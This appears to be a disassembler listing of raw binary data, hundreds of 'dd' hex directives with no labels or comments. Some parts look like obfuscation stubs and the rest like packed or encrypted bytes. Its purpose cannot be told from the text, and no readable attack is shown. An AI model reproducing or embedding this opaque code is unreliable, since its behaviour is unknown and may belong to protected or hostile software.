		dd 0DEAC3277h, 4E5BCBEh, 0F18B665Bh, 20A58D89h,	6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0B50687C3h, 1A6585C7h, 64A00603h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F7F046C3h
		dd 1A0DE5B5h, 89FB29B3h, 30735B5h, 0DCCA8106h, 0C704A7B5h
		dd 3007185h, 6,	61BD0B00h, 0FF06032Fh, 31AB1B5h, 1D95FF06h
		dd 6A060317h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 123C357h, 8BAFE47Bh, 31FA195h
		dd 0FF006A06h, 323A595h, 0EBC08B06h, 3A65632Ah,	0D6B23BAFh
		dd 4456055Ah, 0D1842ADAh, 7E571567h, 4B4EE157h,	52F03BA5h
		dd 12C73593h, 0E6F253C8h, 575C5053h, 0E89539BFh, 13h, 0FC7EDAC0h
		dd 3B888B8Bh, 70BE41B5h, 220CDC6Dh, 8B66EC69h, 30839B5h
		dd 9D895B06h, 6031C25h,	65A5C381h, 3BBA0000h, 8B000019h
		dd 8B33FFFEh, 30E95BDh,	0C0815806h, 1DA82A64h, 4EF5E181h
		dd 0C081226Dh, 624B0CE9h, 28C0Fh, 0CA8A0000h, 2C78E881h
		dd 7CBF062Bh, 893FAC5Ch, 0A9B58B03h, 8306030Fh,	0BD8B04EBh
		dd 6031D4Dh, 1EA81h, 850F0000h,	29h, 168A0Fh, 11E90000h
		dd 3F000000h, 88482A76h, 0A956E02Eh, 67F41DB1h,	4A5B7B5Eh
		dd 24E9h, 64AF9D00h, 0E5E9DBF1h, 71858909h, 0E906032Ah
		dd 0FFFFFF81h, 9029E668h, 34FA1ABAh, 0CFF1CE0h,	9B83B1F7h
		dd 0ABE95Bh, 8D500000h,	0B11C3F2Eh, 0ABDA5F72h,	0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0A601E800h, 323D94E7h, 5B21E583h,	1371E96Dh
		dd 8F680000h, 0E90608CFh, 0FFFAB0A1h, 8D05468h,	0B097E906h
		dd 4968FFFAh, 0E90608D1h, 0FFFAB08Dh, 8D28968h,	0B083E906h
		dd 2668FFFAh, 0E90608D3h, 0FFFAB079h, 8D3D968h,	0B06FE906h
		dd 7668FFFAh, 0E90608D4h, 0FFFAB065h, 8D54568h,	0B05BE906h
		dd 1368FFFAh, 0E90608D6h, 0FFFAB051h, 8D75968h,	0B047E906h
		dd 8B68FFFAh, 0E90608D8h, 0FFFAB03Dh, 8D9D768h,	0B033E906h
		dd 3568FFFAh, 0E90608DBh, 0FFFAB029h, 8DD0868h,	0B01FE906h
		dd 0F168FFFAh, 0E90608DDh, 0FFFAB015h, 0A30FD861h, 0C22EFF85h
		dd 0DF4B1CA4h, 26E37C1h, 228E5FE4h, 0CE531763h,	0E87391FDh
		dd 995B31Fh, 2FB6D440h,	41EDF25Eh, 198B7876h, 78EAF8D0h
		dd 1A12E36Ah, 0FECF564Fh, 98F0818Ah, 0F6EF139Fh, 0CA5149FEh
		dd 194B8DF9h, 1164204Eh, 0CBC3D0D6h, 10966D98h,	5924403Fh
		dd 0D611641Bh, 287BCEDBh, 6BAAE9B4h, 3F4CDC14h,	320BC2CBh
		dd 755CAE14h, 0D913C87Dh, 5ED01263h, 915AE8E5h,	0AD5A3AC1h
		dd 0BA5AADA4h, 968E6B79h, 535Bh, 0B63D4B00h, 53EAC4EDh
		dd 5AADBF6Ah, 0FC299762h, 707EB024h, 221D1CE5h,	458DE3AEh
		dd 5865D611h, 681A9D60h, 0C8D6DC14h, 78737243h,	64EC552Dh
		dd 0B5ADFAA6h, 48FDFC09h, 0D012402Eh, 511D1A93h, 401E541Fh
		dd 0C9D6D012h, 0E6EEE5D1h, 0DE255A3Ah, 74000000h, 8AFECF56h
		dd 22387381h, 0C8C0AFDFh, 0C5961B13h, 0EABB4351h, 5DCFF8EBh
		dd 0F4072FC4h, 0D8F4A9A1h, 0A5ED9ACFh, 0F9F113EAh, 279B6CF3h
		dd 0CCC48D19h, 61EDFB17h, 16A19998h, 20AAFA4Dh,	655D5857h
		dd 9B07D85Fh, 1197BFC0h, 8556DDD6h, 0A374FB19h,	82067FA4h
		dd 4A367869h, 0F66ABDAFh, 14402C2Bh, 0CD3946DCh, 3A4F828Bh
		dd 0CA217D58h, 9A669FD2h, 53DE5B26h, 0E81ADA15h, 181BD71Dh
		dd 0D61B4ADAh, 9A069514h, 0F39F97A4h, 0DF6472E6h, 8C478316h
		dd 0C81B2114h, 0E8B93E5Ch, 0BEB66791h, 0B4BBBCD4h, 109Eh
		dd 27935CE5h, 46B28309h, 63CFA028h, 86F2BB45h, 0A612E368h
		dd 52D79BE7h, 6CF71581h, 8D1937A3h, 0B33A58C4h,	0C57176E2h
		dd 198AF4FAh, 5B6E7CD0h, 9400D156h, 0B21EEF76h,	24FC29CFh
		dd 68C2E5B0h, 8F9CDC14h, 6691DB90h, 0AD26D012h,	0E7B2E4B0h
		dd 0D0126689h, 854FB614h, 0C3B9EFD2h, 4148DEBEh, 8CDFF138h
		dd 1823A894h, 0A0EA5A3Ah, 0DA000000h, 7A7942CCh, 56BC877Fh
		dd 7FFFECFh, 0FDB2B182h, 0D61149FAh, 56C2931Ah,	0E1E0B138h
		dd 43B741BCh, 145B9378h, 1A8693DCh, 56CA56CFh, 9BFDBE48h
		dd 0D4F7ADAh, 0F3EEED40h, 3206D1FBh, 32DA1532h,	1EA3B125h
		dd 3EC3E14Dh, 82E2166Dh, 4A4BD4BEh, 0FD943h
		dd 5821AA00h, 7748CEECh, 9465ED0Bh, 0B7800A28h,	0D7A82D4Bh
		dd 9C60AC6Bh, 0BCDA4617h, 0DEFC6831h, 0FF1D8952h, 363BA778h
		dd 95B1BF8Ah, 3341D019h, 0D15620h, 0C8495294h, 4CBA477Ch
		dd 0E86F756Dh, 52C52BF6h, 0A0ADD611h, 32FEE14Dh, 0CCCB9C24h
		dd 4CD3D9D1h, 52607C7Bh, 8E1304CDh, 0C305C400h,	7E767170h
		dd 0B420F178h, 3E3D0E96h, 82EEBF46h, 0BFE66D21h, 0A9A26DE1h
		dd 0C1DC14ADh, 0D6031B7h, 26F123DDh, 0D012ACC8h, 8AC3953h
		dd 5C52D655h, 5B94574Fh, 8CCB98F6h, 33048A11h, 0FA7575E8h
		dd 419453F3h, 0F22502CDh, 0B1BF2199h, 80085829h, 0BDB5B0AFh
		dd 0E0050411h, 9C67DBA5h, 0DF8709FAh, 0E8F16572h, 43D0136h
		dd 0CC970BB2h, 0DF865DA6h, 1F49414Eh, 4DB98A11h, 0E00ED90Bh
		dd 90DF865Dh, 0DBAC3383h, 0E3E9E1DCh, 0F6348B5Ch, 73D24C23h
		dd 0EE46B72h, 169F0000h, 3DC3E14Dh, 5AE2006Ch, 75FF1D89h
		dd 9D2240ACh, 55A160CCh, 0CF3B0C91h, 0F15D26B1h, 127E47D3h
		dd 309C6DF4h, 0BEB47F2Bh, 36D01994h, 0CF561528h, 0A3DAFFFEh
		dd 0F99661D5h, 0FBDC144Bh, 979667EDh, 0E5D7F6A4h, 3561FCFh
		dd 0EEAEC48Fh, 3946D012h, 14889541h, 0EED917E2h, 8C99D012h
		dd 0EDE5B63Ch, 7B0580CBh, 0D8173C07h, 929FDA17h, 9D94DE93h
		dd 6129DA17h, 1F6B3058h, 1F9471Eh, 4F5D2926h, 0AB74FFC5h
		dd 665E5958h, 3FF2717Ah, 43BC50h, 290B0000h, 0E5B024FCh
		dd 0DC149212h, 3D4BBFCCh, 0EAE5E4B5h, 8896C8F2h, 3A3534FDh
		dd 0E7B03C42h, 0B54A07Bh, 70A2D012h, 120B4FA5h,	221A27D0h
		dd 42CC951Ch, 0C502D183h, 2C4AB609h, 0D1D8D7A0h, 0E0Eh
		dd 24FC29D4h, 122FE5B0h, 0C2C7DC1Ah, 0CF2396F4h, 0B7FD273h
		dd 39A576FDh, 0C4C3941Bh, 41129AA8h, 11EF1649h,	0AC5DD29Dh
		dd 1015DA12h, 0A16C868Eh, 0DA000D53h, 94CB1623h, 45169E21h
		dd 0A5F84B46h, 66F1FF31h, 0ABA39E9Dh, 0E14D1EA5h, 6C6B3CC3h
		dd 0BA45DE47h, 5F2A9EF1h, 0D005E784h, 0A2EA414Eh, 33DAC9BDh
		dd 0DA42B32h, 56DF0000h, 7D03218Dh, 9A2240ACh, 0B53F5DC9h
		dd 0DD6280ECh, 95E1A00Ch, 0F7B4CD1h, 319D66F1h,	52BE8713h
		dd 70DCAD34h, 0FEF4BF6Bh, 76D01997h, 24325568h,	2885D099h
		dd 0E953F7BBh, 717B3E36h, 72D611B6h, 2EF96D0Bh,	0DC1AE1F9h
		dd 0EB9AF2FBh, 71C66AA5h, 3DC3CD79h, 1F726D6Ch,	45169DABh
		dd 0D58E97D9h, 419DDA93h, 3D33FE72h, 0B5D0184Ch, 23AAB0A8h
		dd 4AD0DE52h, 0A7CC8179h, 5019A57Eh, 17E25651h,	0D0184CD9h
		dd 0C5398C99h, 1D4255FAh, 79D0DDDAh, 0D4C11C27h, 7C4CBCCh
		dd 7C00000Dh, 0A0BE2AF3h, 0BFDD491Ah, 0DCFA6637h, 0FF1D8952h
		dd 7E3DA97Ah, 18E96E32h, 3A038EACh, 5B24B0CEh, 794AD1EFh
		dd 915C080Dh, 0D0199663h, 56F20513h, 7FFFECFh, 0B8B0AF80h
		dd 6A626132h, 5C1413E4h, 8E09B4B1h, 0A52EBCB9h,	705C39E7h
		dd 70Dh, 0FFC85260h, 29B50500h,	6E666160h, 24FC29A3h, 12A1E5B0h
		dd 303DDC1Ah, 0F57C8ABCh, 322A2524h, 68D4A52Ch,	3E191D26h
		dd 0E9A322F8h, 9364EBF1h, 2295DF94h, 0AFD6D019h, 1D2B5DD1h
		dd 0D2C5C495h, 2D01CC36h, 4E99EC87h, 82EEE621h,	0CA8D8585h
		dd 0DA1C0E05h, 0ED49A0ADh, 0A6D4C056h, 0C549EA5h, 0A62F0000h
		dd 0CD5371DDh, 0EA7290FCh, 58FAD19h, 2DB2D03Ch,	0E531F05Ch
		dd 5FCB9C21h, 81EDB641h, 0A20ED763h, 0C02CFD84h, 2E440FBBh
		dd 0C6D01996h, 0CF56A5B8h, 8007FFFEh, 0B88DB0AFh, 0E7A62DBBh
		dd 666D5C39h, 0BC000006h, 11455F99h, 8E1590D6h,	74E83B04h
		dd 0E8A93442h, 3ED70758h, 0BEB609B9h, 1A019BFBh, 128693DCh
		dd 40AC7D04h, 6D9BF5FEh, 5DDD6AAAh, 7D85F65h, 0DEBAE308h
		dd 6D75C6Ah, 0D220EB07h, 0A2D0196Dh, 204A4295h,	1C63BE55h
		dd 0D42B38DAh, 0D4C0396Eh, 0B7333A3Bh, 0CC00000Bh, 0F00E7A43h
		dd 0F2D996Ah, 2C4AB687h, 4F6DD9A2h, 0CE8DF9CAh,	6839BE82h
		dd 8A53DEFCh, 0AB74001Eh, 0C99A213Fh, 0E1AC585Dh, 0D0199193h
		dd 32425563h, 7B087429h, 0B93F7955h, 9BEEE9E8h,	96165C27h
		dd 0D1DED611h, 7B4CD3D9h, 2FFD847Ch, 8887DAA3h,	0C7939065h
		dd 764133B9h, 0D6119678h, 9998EBF8h, 0F9C24E9Eh, 34DE1501h
		dd 9E555C39h, 0A4000005h, 0CD9E2432h, 0A8DBD3CEh, 0FD2FA37Dh
		dd 11453C32h, 6CF5AD6h,	0E10B0310h, 1A128316h, 481345DCh
		dd 0D0198B2Ah, 19C5BDCAh, 5D66980Ch, 0E14E6BCFh, 0F1DB26A2h
		dd 290B600Ch, 8B121810h, 0A9304EBAh, 0CA24D9D8h, 1BD019E4h
		dd 0D7A216E2h, 0DA1CEA38h, 0E656ADBAh, 0C7D4C0B3h, 0AE8BFC6h
		dd 129B0000h, 39BFDD49h, 56DEFC68h, 71FB1985h, 991E3CA8h
		dd 519D5CC8h, 0CB37088Dh, 0ED5922ADh, 0E7A43CFh, 2C9869F0h
		dd 42B07B27h, 32D01990h, 29321124h, 0EE9B6F94h,	0E3E9E1AFh
		dd 948C8B5Ch, 1A3D3C0Dh, 0FBF9C4F6h, 7BD61177h,	0CA931E6Eh
		dd 0FDD8D0CBh, 0D5797200h, 0E2B45C39h, 0A4000004h, 0A443B59Bh
		dd 0AB30F826h, 8DE0DBDAh, 5A99CA95h, 95D61145h,	0D2839868h
		dd 0BE91F990h, 0B7C5F76Bh, 0FE0662Ch, 0C3C21510h, 9F0DD0C8h
		dd 97DC1A4Eh, 7E08168Ah, 0CF9AB6B5h, 0D0186CA1h, 0F9F14451h
		dd 6C3AC1CFh, 4DC114E5h, 73E7B83Fh, 186C4AA8h, 251D2AD0h
		dd 8D5EE503h, 643C698Eh, 4C3225F0h, 1F2CDA1Dh, 0C1554EC8h
		dd 3B4243D4h, 0A1Ah, 0AB17E069h, 0CA36078Dh, 0E75324ACh
		dd 0A763FC9h, 2A9667ECh, 0D65B1F6Bh, 0F07B9905h, 119DBB27h
		dd 37BEDC48h, 49F5FA66h, 1993707Eh, 0DFF200D0h,	8AFECF56h
		dd 2524F57Ch, 617D322Ah, 450E642Fh, 9D68D611h, 0D6114557h
		dd 0F1C121Fh, 0B98A1117h, 0E4B23745h, 39388B5Ch, 0E391463Eh
		dd 0F87F2724h, 6B79BB27h, 0C3941BE1h, 478C7870h, 0CE5C39E3h
		dd 150h, 0FECF561Dh, 678D588Ah,	0FD61145h, 5D550A02h, 5F9105D6h
		dd 11455E94h, 110916D6h, 9F79A4EFh, 61F0F92Bh, 0D1CCEE14h
		dd 4390534Bh, 0F3DC1452h, 939263E9h, 91464598h,	0D0125867h
		dd 0D86663DCh, 5A3AFA13h, 321Ah, 0FC296900h, 0C2E5B024h
		dd 9CDC1468h, 664DA36Eh, 1825D012h, 0B74351C5h,	8C41F6EEh
		dd 0D0126662h, 95615ED7h, 362EFF87h, 3AC0814Ah,	0B18C5Ah
		dd 56DB0000h, 7FFFECFh,	0BAB2B182h, 47636233h, 45244A15h
		dd 0BFCCD611h, 6C3AC1C7h, 58C417E0h, 11700A7Dh,	5223AAD6h
		dd 99629BE6h, 79ED4011h, 16D318AEh, 0D74B58DCh,	727142C9h
		dd 47557F77h, 0EF05D0C2h, 87D0149Bh, 9DBB277Ah,	6CF04718h
		dd 75CEBAE9h, 8D46D74h,	26AF0000h, 4DD3F15Dh, 6AF2107Ch
		dd 850F2D99h, 0AD3250BCh, 65B170DCh, 0DF4B1CA1h, 16D36C1h
		dd 228E57E3h, 40AC7D04h, 0AEC48F3Bh, 46D01992h,	0D1562538h
		dd 7B4CD1DFh, 7E74817Ch, 0A1D61145h, 0DDDA81CBh, 2F3C3265h
		dd 8C8B54DFh, 0BCCA3E91h, 6F6A6932h, 0B0375577h, 569073DFh
		dd 7FFFECFh, 0ADC38E80h, 0F0D61145h, 341D1916h,	18251BB9h
		dd 369BD9A4h, 4E5BD611h, 0AE628FFBh, 65000002h,	6C142932h
		dd 0D43AFD1Bh, 0A47CA9DCh, 0B0866530h, 5360DC14h, 0B6559F54h
		dd 71EAD012h, 6876A874h, 1A1514DDh, 12B6E70Dh, 32828FD0h
		dd 0E0DBDAABh, 10F7FCE8h, 4E3E5A3Ah, 8D000002h,	0CB9C2432h
		dd 45E110D3h, 970ED611h, 0A08C9509h, 496C6F5Bh,	46AC77EBh
		dd 2ED61144h, 34FF2921h, 0DC1A1348h, 0C2AC3846h, 198BF9F7h
		dd 196C79D0h, 0F4687521h, 228E5FE6h, 0ADAC7D04h, 861D88h
		dd 5A68DC2Fh, 80302D3h,	0ABB4E610h, 42E3E0D4h, 0ACDC5FBh
		dd 0DA1CC019h, 49D5E311h, 837D7380h, 0F0F5DA1Ah, 0D37CF3F7h
		dd 1265B860h, 0C0F62DBBh, 42494AD4h, 7A2h, 238F58E1h, 42AE7F05h
		dd 5FCB9C24h, 82EEB741h, 0A20EDF64h, 4ED397E3h,	68F3117Dh
		dd 8915339Fh, 0AF3654C0h, 0C16D72DEh, 199DF8F6h, 576A78D0h
		dd 0FFFECF56h, 0B0AF8007h, 9E464302h, 0D6DA4617h, 5C39E31Dh
		dd 18C18h, 0BD60800h, 0D61149E5h, 0DDDCAD33h, 5AE2ECE2h
		dd 3C8F8A89h, 0CF567944h, 58AB7C01h, 824BD6E4h,	6287AF37h
		dd 7C749693h, 7748CFC7h, 0B5FA03h, 377CD062h, 0D2DB1D3Fh
		dd 76C05A77h, 430C984Dh, 58C5F8F0h, 52814CC0h, 66DC14CFh
		dd 39370234h, 0B9D012CFh, 0CF519FACh, 1721D012h, 7870C38Ch
		dd 0BC0BFCCh, 0D012CFE1h, 52E0DD56h, 5A3A6D99h,	3694h
		dd 0FC29E300h, 0C2E5B024h, 1EDC1468h, 0C2BA8B10h, 0B5860C16h
		dd 1110D965h, 0A8C4C316h, 0E47AFD9Fh, 675F5FF8h, 12D04AA4h
		dd 7976EFD0h, 3A76E0EBh, 0B42B5Ah, 567A0000h, 7FFFECFh
		dd 0BAB2B182h, 6B636233h, 0CCA713E4h, 0D61197CBh, 8152D7E5h
		dd 898F8782h, 7AC53102h, 0CF017503h, 71713AC1h,	6BFB0070h
		dd 534E4DA0h, 0B0AF7803h, 0ACFABDB5h, 0A4DC16CBh, 90152397h
		dd 19FA16C7h, 3386ED87h, 5324A9C7h, 0BAF064FCh,	8D9495CEh
		dd 656h, 6FDBA42Dh, 8EFACB51h, 0AB17E870h, 0CE3A038Dh
		dd 0EE5A2BB0h, 9A1FE32Fh, 0B43F5DC9h, 0D5617FEBh, 0FB82A00Ch
		dd 0DB9BE2Ah, 199C2C42h, 0A3B6C4D0h, 7703D156h,	45ACC28Dh
		dd 3744D611h, 97EAE5E4h, 0B8860D2Bh, 0A612652Eh, 58293264h
		dd 208357C4h, 0EE7B7986h, 0EEFBD611h, 0CF562BF6h, 5D435206h
		dd 0CC977951h, 0D61124A6h, 9BEE414Eh, 4C1DA49Ch, 0A16C9EE0h
		dd 0D6112453h, 0C42AF523h, 0ACD61124h, 3F544C9Fh, 25h
		dd 0FECF5642h, 0B28007FFh, 0D0C5F28h, 2DD5D22Dh, 86E1DDA6h
		dd 1817E06Bh, 8FB3D21Dh, 88B52174h, 25h, 3500328Bh, 0D611453Fh
		dd 0ACB2AAB7h, 0D7E05425h, 0EC9EF7B3h, 3EF3EB33h, 11FB6E89h
		dd 3A37FAD6h, 0CE3A0B92h, 6CF56EBh, 9633517Ch, 0D24699AEh
		dd 1B6B3CC4h, 1BD0C891h, 5D08FF6h, 0D61129EFh, 3B067A87h
		dd 0D6112935h, 0E95DB0BDh, 1A7E701Eh, 70F600DCh, 0CAD84C9Fh
		dd 0E8067243h, 6C919061h, 28F36731h, 0DA132B0Bh, 6ADBE4EDh
		dd 386DF348h, 13879440h, 41AD7E05h, 57CB9C23h, 9D4BE49h
		dd 0DA035AEBh, 332B7E8Bh, 0B859627Eh, 0D3C597D7h, 6C99CCC4h
		dd 8A552094h, 0C6D006B2h, 0FFD910BDh, 0E6DE4F3Bh, 34D62D3Ah
		dd 79DACB0Ch, 4F87178h,	28B0000h, 29AFCD39h, 46CEEC58h
		dd 61EB0975h, 890E2C98h, 418D4CB8h, 0BB27F87Dh,	0DD49129Dh
		dd 0FE6A33BFh, 1C8859E0h, 52A06B17h, 22D0199Eh,	0CF560114h
		dd 0F07C8AFEh, 352D2827h, 9D6EF513h, 561FA69Eh,	0AFC51E4Ah
		dd 24ED7981h, 877F7ED1h, 38302F00h, 0F8F6C1B3h,	78D6110Ch
		dd 1019186Bh, 733E0A07h, 0D6110C7Dh, 8F95E8F5h,	0A42BD3D0h
		dd 2D8051D6h, 5526ABB9h, 0BC373B5Dh, 775C39AAh,	3Dh, 24FC29C6h
		dd 4F18A2B0h, 91622D57h, 49DC1492h, 2EBAC83Ch, 0D61EF965h
		dd 44D01208h, 3E80ECBDh, 833410Ch, 0B6C3D012h, 6B2CB8BEh
		dd 1A7B1BFCh, 996AF0BFh, 0EDF4F346h, 43Ah, 5A2932F0h, 8E3C59D6h
		dd 0A6CC970Bh, 4ED61101h, 0BC434941h, 6DF4ECEBh, 8F1A289Ch
		dd 81CCC7C6h, 4A7C5F95h, 274941A5h, 8AE8B3E5h, 6AD61128h
		dd 0CB32655Dh, 7E87B92Dh, 0F6C1FC25h, 0D611E3F8h, 2206B78h
		dd 4E1109E2h, 0DC146601h, 0F0A5A4B1h, 0D0127486h, 0DB65733Bh
		dd 423F1A12h, 3AD63FB4h, 6FF9075Ah, 0FE5122A9h,	635B24AEh
		dd 2C28h, 8E0F1800h, 0B7D79102h, 2913DED6h, 0CFA027FCh
		dd 7A3D087Ch, 0F4DC1468h, 3933E8E7h, 7ED01266h,	717A0805h
		dd 0BC5A3AC0h, 0C5h, 9F24320Bh,	458CE2ADh, 5764D611h, 120A0504h
		dd 0B5B4850Ch, 686738BDh, 1918E970h, 5DC99A21h,	11496182h
		dd 47189FD6h, 6536BDDBh, 0B63C4A66h, 41FBF9C4h,	6E7BD611h
		dd 29211C1Bh, 7DF18FF6h, 1448F1B2h, 55DDEBDCh, 0D3E08C84h
		dd 17E11C67h, 0F0F8D8A3h, 727CDA15h, 58CC1FE8h,	88F4C54Ah
		dd 9017E56Ah, 75C5C0BFh, 272221EAh, 0CCD17DD4h,	292AD4BDh
		dd 32522h, 0CD55E00h, 2BFC82A0h, 4819A1BFh, 6B34BEDCh
		dd 8B5CE1FFh, 5014601Fh, 708EFACBh, 92B01CE5h, 0B3D13D06h
		dd 0EAEF5B2Ch, 987D733Eh, 0E7F5D019h, 0D156D4h,	28F97E8Ch
		dd 828152D8h, 2B6D8F87h, 47C15822h, 514961DEh, 87F3C44Bh
		dd 24FC29A4h, 0BDB37EB0h, 35D61145h, 0B243AD30h, 8ADD19DAh
		dd 1A9D6892h, 0D6DC14DCh, 7C743DC8h, 0FC4C3D0h,	0D01292E5h
		dd 56E4E15Ah, 5A3A349Dh, 0A798h, 0CF56E700h, 55A87901h
		dd 8EE4AFE1h, 11D61145h, 0DB28FB19h, 0CDDAD098h, 0A32820D5h
		dd 0A9B7D3D2h, 5C57561Fh, 0B5EA164h, 37BED611h,	55DCFA66h
		dd 25608584h, 9B1CE75Bh, 0D3DC140Ah, 960F5AC6h,	66CB960Ah
		dd 10DA15B9h, 0FB818F03h, 44303E09h, 0B3C0DA18h, 303E6860h
		dd 506EDAABh, 0EDA3FACBh, 5AD4BE0Ah, 23C5259h, 0BE470000h
		dd 0E56B89F5h, 28AA814h, 1DA7C531h, 45CAE854h, 0FD490874h
		dd 77E3B439h, 9905CE59h, 0BA26EF7Bh, 0D844159Ch, 165C27D3h
		dd 0DED01998h, 0D156BDD0h, 0EF769400h, 0C9C89921h, 2C0F7BCEh
		dd 8AFECF56h, 2C2B6581h, 827A6975h, 1CA3B1CDh, 0F9F8C94Eh
		dd 90ACABFEh, 1131AFC5h, 0E73A47D6h, 9162E9EFh,	0E6B1E325h
		dd 0D6113188h, 5D635B68h, 0EA0605D6h, 8C8455DCh, 0E0542C59h
		dd 14064A15h, 0F8F704DCh, 32FEFBDAh, 0E73F3500h, 0AAB7D012h
		dd 5C25ACB2h, 9520CB36h, 87D2CDCCh, 69342D52h, 0D012E50Bh
		dd 388BDEEBh, 7C0481CCh, 0F8923D08h, 959EDA17h,	0C7D48CC5h
		dd 0F9CA4FDAh, 0B4ACFFFAh, 5587FB08h, 1766648Ah, 0B4FF0CDAh
		dd 0B8504E43h, 0D2877F17h, 0BBB984B6h, 3BDA17F1h, 0A930362Eh
		dd 9EF9D9D8h, 0C751CCA1h, 18562153h, 7EDA17F1h,	233026F7h
		dd 0F18EE4AFh, 5966DA17h, 0A36C3761h, 4BD012ECh, 5E90D23Eh
		dd 18825D93h, 6730BBC4h, 6A776D68h, 14E56C72h, 65EBF915h
		dd 0A969C94h, 45244241h, 0EC737C48h, 7E257B09h,	0DB1B4CF4h
		dd 85D8FB71h, 2F00878Dh, 730D78C3h, 17AB34FFh, 1623CE1Dh
		dd 86770A2h, 732207F7h,	789AD8E5h, 4D5ACE1Dh, 0B0A871FDh
		dd 0AE7C03FBh, 615C5B24h, 9D689A0Eh, 0CE1D7857h, 651A121Fh
		dd 966B6847h, 0EB1D916Fh, 878657DDh, 36D1948Ch,	0C0C4184Fh
		dd 81FC47B3h, 0A5F7FAFFh, 0ACFF3118h, 353B0638h, 0BDC81EFEh
		dd 0C38EB8B0h, 0C215A935h, 0CC95212Fh, 961E28D4h, 577372C5h
		dd 99BB964Eh, 0A79F15A8h, 0DD491AA1h, 0E06A38BFh, 0C5C4951Ah
		dd 252477CAh, 7DB3DC70h, 7AAC5665h, 7D3341AFh, 844DD759h
		dd 0AE89818Eh, 0B18209B1h, 6D10345h, 597D33E8h,	0A32B7B88h
		dd 4DD4DAD2h, 0FB857D7Ch, 0B53B3332h, 62EDE5E4h, 2DEC9A99h
		dd 300F8530h, 36048B33h, 0E3DEDDAEh, 7F062490h,	0A5E56AB6h
		dd 3184129Dh, 67CB4BDh,	80FF898Bh, 1333410Ch, 0B6C3597Dh
		dd 0DFED09BEh, 66109253h, 6143661Fh, 0A1CF9A0Eh, 51597D4Dh
		dd 3374C44h, 3A000000h,	0CD563D54h, 860D0504h, 32BEB6B5h
		dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h,	0BB433B3Ah
		dd 6DF3EBEAh, 556F9D9Ch
		dd 0C5815D54h, 4, 8704ED83h, 685C242Ch,	33ECh, 57243C89h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0B68240Ch, 8B0608CEh
		dd 0C481243Ch, 4, 240C8B54h, 5304C483h,	8BBh, 69EB8100h
		dd 148E51Eh, 69C381CBh,	8948E51Eh, 0C8B5B3Bh, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 57243C8Bh,	0C781E789h
		dd 4, 4C781h, 3C870000h, 46E95C24h, 5FFFFA9Dh, 0B7BE9E5Bh
		dd 0D7B5193Ah, 0B8A4822Ch, 608E052h, 0E0FFC503h, 479DE355h
		dd 36110018h, 412A8908h, 2D639ECFh, 4B03ACEAh, 48175AEDh
		dd 7F0A8F6Fh, 77A37A5Ch, 12A88944h, 7F97FD78h, 29D1C564h
		dd 259BFD18h, 6B0060E1h, 0DB03509h, 494370C4h, 5D088481h
		dd 4F70BCA0h, 15D1E2FBh, 2C75713Bh, 88CF4FEh, 3B9C5221h
		dd 150000FCh, 5E3559F4h, 36C251C4h, 6A1808EBh, 65AFh, 0FBE9023Bh
		dd 6800000Bh, 608E313h,	0FB65DAE9h, 0E42368FFh,	0D0E90608h
		dd 68FFFB65h, 608E59Bh,	0FB65C6E9h, 0E65C68FFh,	0BCE90608h
		dd 68FFFB65h, 608E70Fh,	0FB65B2E9h, 0E8B968FFh,	0A8E90608h
		dd 68FFFB65h, 608E969h,	0FB659EE9h, 0EACB68FFh,	94E90608h
		dd 68FFFB65h, 608EBAEh,	0FB658AE9h, 801A0FFFh, 0C4CA5996h
		dd 4929DDAh, 4551DD1Ah,	8A121E5Bh, 0BCE0B9A0h, 13E286Ch
		dd 44816B33h, 83C0AAEAh, 8506F0AAh, 5755596h, 4E65A18Ch
		dd 27A3E41Bh, 0B3A18C06h, 0F5848378h, 3C56455Bh, 0D6573485h
		dd 63B0C7C4h, 0D68D5F1Dh, 2670BD52h, 0A9B7BD3Ch, 0EC406BACh
		dd 0AA5CAD97h, 0E2992DECh, 32AA191h, 0FA46DB99h, 0E33C8ECFh
		dd 0EC9EA191h, 0E5C514D2h, 37744F9h, 171CEE17h,	36510A14h
		dd 2C000000h, 74B91A15h, 784A0822h, 4F068C9Bh, 1CF15FEh
		dd 0A3CC304h, 5608AD98h, 0C3EDD998h, 4FE6A191h,	0F7428572h
		dd 5A11A416h, 0D3A5CEBAh, 80A14CEh, 0DDh, 13203755h, 236EB104h
		dd 0BFD9BBDEh, 0D5782F01h, 0EB803E58h, 0FA9A945Fh, 92506A3Ch
		dd 428330FDh, 0A7941688h, 4D32DB7Dh, 0C391F896h, 0A439F711h
		dd 0DFEB2C89h, 0FBA794D9h, 0DE452F49h, 0A794DEB5h, 291385A8h
		dd 2066B5CCh, 6F22FD7Dh, 8F463D4Bh, 995741ECh, 0B1AEBCC2h
		dd 9491397Ah, 9749A794h, 87DC1DE0h, 56AD97AFh, 94F9779h
		dd 540BD410h, 34110EC0h, 5697E625h, 0EA9A5104h,	5A57656Bh
		dd 97836C19h, 99D8B5A7h, 3540B71h, 5204984Fh, 0AAF23E55h
		dd 0EFB783C0h, 2AC1516Ah, 14AF23E5h, 980h, 0EBD5C76Ah
		dd 311B61AEh, 735D3BF4h, 0BCA6F636h, 1EBB37Fh, 0D1D7F1Ah
		dd 0D4629F89h, 87A9E6D0h, 3DF02D17h, 1F0715Bh, 8C040AC0h
		dd 0F8B9D0A1h, 0D9C3CB57h, 1D07919Ch, 1CF1532h,	0A3CC304h
		dd 7308AD98h, 91C39832h, 769042A1h, 5EEC03B8h, 0E4FE8493h
